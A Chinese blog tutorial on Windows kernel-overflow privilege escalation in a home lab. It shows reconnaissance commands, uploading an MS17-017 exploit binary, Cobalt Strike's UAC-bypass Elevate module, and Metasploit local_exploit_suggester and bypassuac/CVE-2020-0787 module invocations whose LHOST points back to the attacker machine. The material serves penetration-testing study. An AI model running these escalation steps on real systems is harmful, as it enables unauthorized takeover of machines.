当前位置: 首页 > article >正文

[权限提升] Windows 提权 — 系统内核溢出漏洞提权

关注这个框架的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:系统内核溢出漏洞提权介绍

注意:提权很容易让电脑蓝屏,所以如果是测试的话,提权前最好做好系统备份。

溢出漏洞就像是往杯子里装水 —— 如果水太多,被子装不下了,就会溢出来。计算机中有个地方叫作缓存区。程序缓存区的大小是事先设置好的,如果用户输入数据的大小超过了缓存区的大小,程序就会溢出。

系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没有及时安装补丁 —— 即使微软已经针对某个漏洞发布了补丁,但如果系统没有立即安装补丁,就会让攻击者有机可乘。然而,这种提权方法也存在一定的局限性 —— 如果目标系统的补丁更新工作较为迅速和完整,那么攻击者要想通过这种方式提权,就必须找出目标系统的 0day 漏洞。

0x0101:远程溢出漏洞 & 本地溢出漏洞

溢出提权从形式上可以分为远程溢出和本地溢出。

远程溢出需要与远程服务器建立连接,然后根据系统漏洞使用相应的溢出程序获取远程 Windows 服务器的 System 权限(比如 MS17-010 漏洞,你只需要填写靶机的 IP,就自动拿到高权限了)。

本地溢出是主流的提权方式,通常需要向目标服务器上传本地溢出程序,然后在服务器中执行,如果目标系统中存在该漏洞,那么将会溢出获得 Windows 操作系统 System 权限。

0x0102:溢出漏洞提权的基本步骤

缓冲区溢出漏洞提权的基本步骤如下:

  1. 信息收集:查看当前权限、操作系统版本、操作系统已经安装的补丁。

  2. 根据收集到的信息查找目标机器上未安装的补丁对应的提权漏洞。

  3. 根据漏洞查找 EXP

  4. 使用 EXP 提权。

0x02:Windows 系统内核溢出漏洞实战

实验环境简介

  • 靶机 Windows 7 :IP 192.168.0.118

  • 攻击机 Kali Linux:IP 192.168.0.100,安装了 CS 服务端

  • 辅助机 Windows 11:IP 192.168.0.1,安装了 CS 客户端

0x0201:靶机信息收集

我们首先先让靶机上线 CS,并确保通过 CS 能够进行远控:

输入下面的命令,查看当前用户的权限:

 shell whoami # 结果: blue17-pc\defender-windows 7,不是管理员
 shell whoami /groups # 查看权限等级

输入下面的命令,查看系统补丁信息:

 shell systeminfo

0x0202:手动寻找提权 EXP 提权

1. 定位目标可能存在的提权漏洞

将上面拿到的系统信息,复制到下面这个网站,来寻找目标系统可能存在的提权漏洞(这种站点非常多,相关工具也很多,可以自己收集一些):

 url: https://www.adminxe.com/CompareSys/
 title: "Windows提权对比辅助"
 host: www.adminxe.com

2. 使用漏洞对应的 EXP 进行提权

找到了目标可能存在的提权漏洞后,下一步就是去寻找对应的提权 EXP,然后一个个试。

比如上面的第一个 MS17-017 漏洞,巧了,笔者这里就有 EXP,还有使用说明(不同的 EXP 用法不一样,详情还是得看使用说明):

将 MS17-017.exe 上传到靶机:

然后在 CS 命令行运行该工具即可进行提权:

 shell MS17-017.exe

挺可惜的哈,当我们在 CS 中运行这个 exe 尝试进行提权失败了,完了靶机还给弹窗了。虽然这个是失败了,但是流程不变,我们上面扫了那么多的提权漏洞,按照上面的流程,搜索 EXP 一个一个试就可以了。

0x0203:Cobalt Strike 提权

使用 Cobalt Strike 提权就简单多了,右击上线靶机,选择 “Access” => “Elevate”(提权模块),然后随便配置一个监听器,点击 Launch 即可:

如上显示提权成功,值得注意的是,这里笔者选择的 Exploit 是 uac-token-duplication,是一个 UAC 绕过的提权(Windows 的 UAC 认证笔者前面在之前的章节中讲解过,这里就不讲解了),提权成功后,CS 客户端会再接收一个 Shell:

MSF 的提权还可以通过扩展插件完成,使用方法就是右击上线机器,选择对应模块,提就完了,不知道哪个可以用,你就一个一个试,试不出来,就可以去换 MSF 再试。

0x0204:Metasploit 提权

1. 使用 MSF 确定目标提权漏洞

首先先让目标上线 MSF,并将上线的会话使用 bg 命令挂起在后台(可以看到 session id 为 1):

然后使用 local_exploit_suggester 模块扫描目标可能存在的漏洞:

 use post/multi/recon/local_exploit_suggester # 使用模块
 set SESSION 1                                # 设置扫描的会话 id
 run                                          # 启用漏洞扫描功能

2. 使用漏洞对应的 EXP 进行提权

下面就是从上往下,一个一个试了:

 use exploit/windows/local/bypassuac_eventvwr # 这个是插件扫出来的模块
 set SESSION 1                                # 具体配置得看插件
 set LPORT 4445                               # 为了避免端口冲突
 run

如上,第一个失败了,我们换第二个:

 use exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move # 第二个插件
 set SESSION 1                                # 具体配置得看插件
 set LHOST 192.168.0.100                      # 这个是插件要求的
 set LPORT 4445                               # 为了避免端口冲突
 run

如上,第二个也失败了,那就换第三个。反正也是就这么换下去。至于为啥上面会失败,笔者是这样想的,笔者使用的用户虽然叫 Defender-Windows 7 但其实这用户绕个 UAC 就有管理员权限了。所以它其实不是系统中的普通用户,它自己权限是足够高的,所以才会试验这么多提权都失败。

尽管演示结果是失败的,但是本文主要是讲解提权的思路,针对 Windows 内核溢出漏洞提权的流程就是上面演示的这样,收集目标信息,然后查找可能存在的提权漏洞,一个一个尝试。


http://www.kler.cn/a/525812.html

相关文章:

  • 《多线程基础之互斥锁》
  • C语言中string.h头文件功能介绍
  • 【llm对话系统】大模型 RAG 之回答生成:融合检索信息,生成精准答案
  • 【JavaEE】_MVC架构与三层架构
  • 如何在Spring Boot项目中高效集成Spring Security
  • 网易云音乐歌名可视化:词云生成与GitHub-Pages部署实践
  • 三路排序算法
  • 拼车(1094)
  • 在汇编语言中,ASSUME 是一个用于告诉汇编器如何将段寄存器与特定段名称关联的指令
  • AutoDL 云服务器:xfce4 远程桌面 终端乱码 + 谷歌浏览器
  • oracl:数据查询语言DQL
  • 密码强度验证代码解析:C语言实现与细节剖析
  • ChatGPT与GPT的区别与联系
  • cubemx配置ETH(以太网)
  • (java) IO流
  • 利用Edu邮箱解锁Notion Pro,提升学习与工作效率
  • 【Envi遥感图像处理】008:波段(批量)分离与波段合成
  • 【Prometheus】jmx_prometheus_javaagent监控java应用
  • 网站快速收录:提高页面加载速度的重要性
  • 使用DeepSeek批量生成文章,对搜索引擎产生一定影响。
  • 12.udp
  • 完整解读:从DeepSeek Janus到Janus-Pro!
  • 天融信 NGFW2.3 mibs
  • 书生大模型实战营4
  • SpringBoot 基础(Spring)
  • AI 计算的未来:Deepseek从中心化到去中心化的变革